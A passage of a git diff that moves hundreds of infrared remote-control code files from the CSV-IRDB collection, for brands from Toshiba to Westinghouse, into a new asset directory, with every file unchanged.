assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_VX37L/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Vizio/Unknown_Vizio/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/VocoPro/Karaoke/32,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Voxson/Unknown_PT2222-1/0,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_HDTVMediaPlayerV1/132,121.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/WD/Unknown_TV/132,121.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_LVM-47W1/1,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Westinghouse/Unknown_RMT/1,-1.ir 